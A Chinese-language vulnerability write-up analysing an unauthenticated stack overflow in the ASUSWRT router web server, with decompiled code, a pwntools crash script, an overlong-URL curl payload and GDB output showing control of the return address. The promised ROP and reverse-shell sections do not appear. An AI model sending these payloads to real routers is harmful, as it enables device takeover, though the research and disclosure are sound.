ASUSWRT URL处理栈缓冲区溢出漏洞分析与利用

本文详细分析了ASUS路由器ASUSWRT固件中存在的栈缓冲区溢出漏洞,通过URL路径超长输入触发漏洞,利用栈转移技术和ROP链实现任意命令执行,最终获取反向Shell控制权限。

ASUSWRT URL处理栈缓冲区溢出 | STAR实验室

2020年8月7日 · 18分钟阅读 · Lucas Tay (@c3xp1r)

目录

  • 引言
  • 静态分析
  • 二进制差异分析
  • 动态分析
  • GDB调试
  • 修复SIGILL异常
  • 控制程序计数器(PC)
  • 漏洞利用
  • 完整利用脚本
  • 结论
  • 致谢

在处理URL中的XSS黑名单(如script标签)时,通过check_xss_blacklist函数,当访问ASUS路由器Web界面时扩展URL长度可能导致栈缓冲区溢出。利用时需先进行栈转移,再链接ROP指令以执行自定义命令。本文展示如何利用此漏洞获取反向Shell。

此漏洞存在于使用ASUSWRT 3.0.0.4.384.20308(2018/02/01)版本的路由器中,我们以RT-AC88U为例。

引言

路由器是负责转发网络流量的网络设备,现已广泛存在于家庭、企业、咖啡馆、火车站等场所。不同型号通常提供Web界面以控制路由器的各项设置和配置。

此特定ASUS固件在尝试登录Web界面时,若URL处理过程中路径过长,存在栈缓冲区溢出漏洞,最终允许攻击者无需认证即可完全控制路由器,唯一要求是攻击者需在同一网络中。

静态分析

二进制差异分析

二进制差异分析技术可用于N日漏洞研究,帮助研究人员通过比较新旧二进制文件的补丁原因来寻找潜在漏洞。

本文使用Diaphora(IDA Pro的开源二进制差异分析工具)查看已修复版本3.0.0.4.384.20308与漏洞版本3.0.0.4.384.20379之间的变化。

首先,从ASUS网站下载.trx扩展名的固件(已不再提供,但幸运的是SoftPedia有镜像)。重点关注处理Web请求的httpd二进制文件。

使用binwalk提取固件内容:

1
2
3
binwalk -eM <firmware>.trx
cd ./<firmware>.trx.extracted/squashfs-root/usr/sbin
ls | grep "httpd"

在部分匹配下,有两个函数,其中一个在目标未修补二进制中名为sub_443CC。更新后的函数检查字符串长度,确保小于0x100,这可能是越界写入。

受额外长度检查的变量指向URL中的路径。跟踪如下:

1
handle_request --> auth_check --> page_default_redirect --> check_xss_blacklist

在handle_request中:

1
2
((void (*)(void))handler->auth)();
result = auth_check((int)&auth_realm, authorization, url, (int)file, cookies, fromapp);

在auth_check中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
page_default_redirect_sub_D6C0(a6, v6);
return v7;
v18 = strspn(v17 + 11, " \t");
snprintf((char *)&v22, 0x20u, "%s", &v7[v18 + 11]);
if ( !sub_4639C(&v22, 0) )
{
  v19 = sub_44C88(&v22);
  v16 = v19;
  if ( !v19 )
  {
    if ( !sub_DF98(0) )
    {
      if ( !strcmp((const char *)&unk_A619C, (const char *)&v22) )
      {
        dword_6742C = 0;
      }
      else
      {
        strlcpy(&unk_A619C, &v22, 32);
        dword_6742C = 1;
      }
      return (const char *)2;
    }
    page_default_redirect_sub_D6C0(a6, v6);
    return (const char *)v16;
  }
}

在page_default_redirect_sub_D6C0中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nt __fastcall page_default_redirect_sub_D6C0(int fromapp_flag, const char *url)
{
  const char *url_1; // r5
  int fromapp_flag_1; // r4
  char *login_url; // r0
  const char *INDEXPAGE; // r1
  bool v6; // zf
  char inviteCode; // [sp+8h] [bp-110h]

  url_1 = url;
  fromapp_flag_1 = fromapp_flag;
  memset(&inviteCode, 0, 0x100u);
  login_url = (char *)check_xss_blacklist(url_1, 1);
  v6 = login_url == 0;
  if ( login_url )
    login_url = (char *)&unk_A6758;
  else
    INDEXPAGE = url_1;
  if ( v6 )
    login_url = (char *)&unk_A6758;
  else
    INDEXPAGE = "index.asp";
  strncpy(login_url, INDEXPAGE, 0x80u);
  if ( !fromapp_flag_1 )
    snprintf(&inviteCode, 0x100u, "<script>top.location.href='/page_default.cgi?url=%s';</script>", url_1);
  return sub_D3C4(200, "OK", 0, &inviteCode, fromapp_flag_1);
}

根据https://github.com/smx-smx/asuswrt-rt/blob/master/apps/public/boa-asp/src/util.c#L1109重命名变量后:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
signed int __fastcall check_xss_blacklist(const char *path, int check_www)
{
  const char *vPath; // r5
  int check_www_; // r6
  int i; // r8
  char *path_t; // r4
  bool v6; // zf
  int path_1; // r7
  char *query; // r7
  const char *path_t_; // r1
  size_t file_len; // r2
  size_t length_of_path_t; // r6
  int path_string; // [sp+0h] [bp-218h] with size 0x100
  char url_string; // [sp+100h] [bp-118h]
  char filename; // [sp+180h] [bp-98h]

  vPath = path;
  check_www_ = check_www;
  memset(&filename, 0, 0x80u);
  memset(&path_string, 0, 0x100u); // 将所有100字节设置为0
  if ( !vPath || !*vPath )  // 补丁后,此条件添加了`strlen(vPath) > 0x100`
    return 1;
  i = 0;
  path_t = strdup(vPath);
  while ( 1 )
  {
    path_1 = (unsigned __int8)vPath[i];
    if ( !vPath[i] ) // 即使长度为0x300,也永远检查是否有字符
      break;
    v6 = path_1 == '<';
    if ( path_1 != '<' )
      v6 = path_1 == '>';
    if ( v6 || path_1 == '%' || path_1 == '(' || path_1 == ')' || path_1 == '&' )
      goto LABEL_24;
    *((_BYTE *)&path_string + i++) = *((_WORD *)*_ctype_tolower_loc() + path_1);        // 此处发生覆盖
  }
  if ( strstr((const char *)&path_string, "script") || strstr((const char *)&path_string, "//") )
  {
LABEL_24:
    free(path_t);
    return 1;
  }
  ...

此跟踪显示,在检查XSS黑名单时,存在漏洞允许攻击者在访问router.asus.com时于请求的URL路径中创建长字符串。

此处,path变量可通过URL路径控制,且此函数未检查vPath长度是否超过分配缓冲区。vPath指向的字符串通过memset函数复制到path_string缓冲区。关键在于path_string缓冲区大小固定,而vPath可能因无大小检查而超长,这解释了补丁中添加strlen的原因。

发生的情况是,会检查某些字符是否为不良字符。接着,即使vPath中的字符超过0x100缓冲区大小,仍会继续写入path_string并递增i。因此,若写入超过0x218字节,便可开始修改栈帧外的栈。

动态分析

pwntools是用于构建漏洞利用的流行Python库。以下脚本可用于触发崩溃:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.terminal = ["terminator","-e"]
context(arch='arm', bits=32, endian='little', os='linux')

HOST = "192.168.2.1"  # 更改为router.asus.com的地址
PORT = 80 # Web界面所在的HTTP端口

# 遵循从浏览器复制的响应头
header = "GET /" + "A"*(532) +" HTTP/1.1\r\n"
header += "Host : router.asus.com\r\n"
header += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
header += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
header += "Accept-Language: en-US,en;q=0.5\r\n"
header += "Accept-Encoding: gzip, deflate\r\n"
header += "Cookie: clickedItem_tab=0\r\n"
header += "Connection: keep-alive\r\n"
header += "Upgrade-Insecure-Requests: 1\r\n"
header += "Cache-Control: max-age=0\r\n"

# 连接到路由器
p = remote(HOST,PORT)
print p.recvrepeat(1)

p.send(header)
print p.recvrepeat(2)

GDB调试

确保已在路由器中启用SSH,以便更轻松地将ARM静态链接GDB传输到路由器。静态链接GDB从此处获取。确保获取正确的路由器架构(32位)。

将GDB附加到httpd PID,最后再次运行curl命令。此时应发生SIGSEGV:

修复SIGILL异常

尝试重新运行二进制文件时,会返回SIGILL异常。

根据此StackOverflow帖子,OPENSSL_cpuid_setup()假设它可以捕获SIGILL并在指令无法执行时继续。因此,设置环境变量OPENSSL_armcap = 0应可缓解此问题。

1
2
(gdb) set env OPENSSL_armcap=0
(gdb) run

控制程序计数器(PC)

方法:

  1. 在while循环开始处设置断点
  2. 在*((_BYTE *)&path_string + i++) = *((_WORD )_ctype_tolower_loc() + path_1);的第0x100次迭代处设置条件断点
  3. 观察栈
  4. 在覆盖程序计数器(pc)之前设置另一个条件断点
  5. 编辑payload,在URL中包含0x100个A、0x114个B和4个C,如下所示
  6. 将此头发送到我们的路由器
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
curl 'http://router.asus.com/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'\
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'\
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'\
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'\
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCC' \
-H 'Host: router.asus.com' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' --compressed \
-H 'Cookie: clickedItem_tab=0' \
-H 'Connection: keep-alive' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'Cache-Control: max-age=0'

这应给出SIGSEGV故障,位于CCCC处。

1
2
3
4
Program received signal SIGSEGV, Segmentation fault.
=> 0x63636362:	Error while running hook_stop:
Cannot access memory at address 0x63636362
0x63636362 in ?? ()

由于不存在位置无关可执行文件(PIE)安全功能,很容易在固定位置设置断点。

首先,在位置0x44454设置断点。 这三行正在将数据从vPath复制到path_string缓冲区

1
2
3
4
5
=> 0x44454:	ldr	r3, [r0]
   0x44458:	lsl	r7, r7, #1
   0x4445c:	ldrsh	r2, [r3, r7] <-- 应看到小写'a',因为*((_WORD *)*_ctype_tolower_loc() + path_1)
   0x44460:	strb	r2, [sp, r8] <--- path_string缓冲区在此
   0x44464:	add	r8, r8, #1  <-- i递增发生处

单步执行至0x44460,检查i r $r2给出0x61,因为这指向路径中的第一个‘a’字符。

1
2
(gdb) i r r2
r2             0x61	97

接下来,设置条件断点,在将字母‘c’写入缓冲区之前停止。条件设置为在第532次迭代后中断。这是开始写入‘c’(即返回地址)之前要写入的字节数。

1
2
3
(gdb) break *0x44454 if $r8 == 532
Breakpoint 4 at 0x44454
(gdb) continue

运行后检查栈,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
=> 0x44454:	ldr	r3, [r0]
   0x44458:	lsl	r7, r7, #1
   0x4445c:	ldrsh	r2, [r3, r7]
   0x44460:	strb	r2, [sp, r8]
   0x44464:	add	r8, r8, #1
   0x44468:	ldrb	r7, [r5, r8]
   0x4446c:	cmp	r7, #0
   0x44470:	bne	0x44424
   0x44474:	mov	r0, sp
   0x44478:	ldr	r1, [pc, #268]	; 0x4458c

Breakpoint 4, 0x00044454 in ?? ()
(gdb) i r $r8
r8             0x214	532
(gdb) x/3s $sp
0x7e992e28:	'a' <repeats 200 times>...
0x7e992ef0:	'a' <repeats 56 times>, 'b' <repeats 144 times>...
0x7e992fb8:	'b' <repeats 132 times>, "0\367"

此状态显示确实可以覆盖缓冲区。

接下来,设置条件断点,在第535次迭代后在0x44464处中断。原因是为了确保在写入返回地址的最终字节之前命中断点。此处,返回地址中的最终字母‘c’。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb)break *0x44464 if $r8 == 535 
# 在写入最终字母'c'后中断
...
(gdb) i r $r8
r8             0x217	535
(gdb) x/5s $sp
0x7e98ee28:	'a' <repeats 200 times>...
0x7e98eef0:	'a' <repeats 56 times>, 'b' <repeats 144 times>...
0x7e98efb8:	'b' <repeats 132 times>, "cccc"  <<-------我们控制的返回地址
0x7e98f041:	""
0x7e98f042:	""
Breakpoint 7, 0x00044464 in ?? ()
(gdb) ni
...
...
(gdb) ni
Continuing.
=> 0x44584:	add	sp, sp, #512	; 0x200
   0x44588:	pop	{r4, r5, r6, r7, r8, pc} <<-- 栈的第6个位置,即0x63636363
   0x4458c:	andeq	r2, r5, sp, ror #27
   0x44590:	andeq	r8, r4, r12, asr #19
   0x44594:			; <UNDEFINED> instruction: 0x0004dbba
   0x44598:	andeq	r2, r5, r9, ror r11
   0x4459c:	andeq	r8, r4, r11, lsl #20
   0x445a0:	andeq	r5, r5, lr, asr r5
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计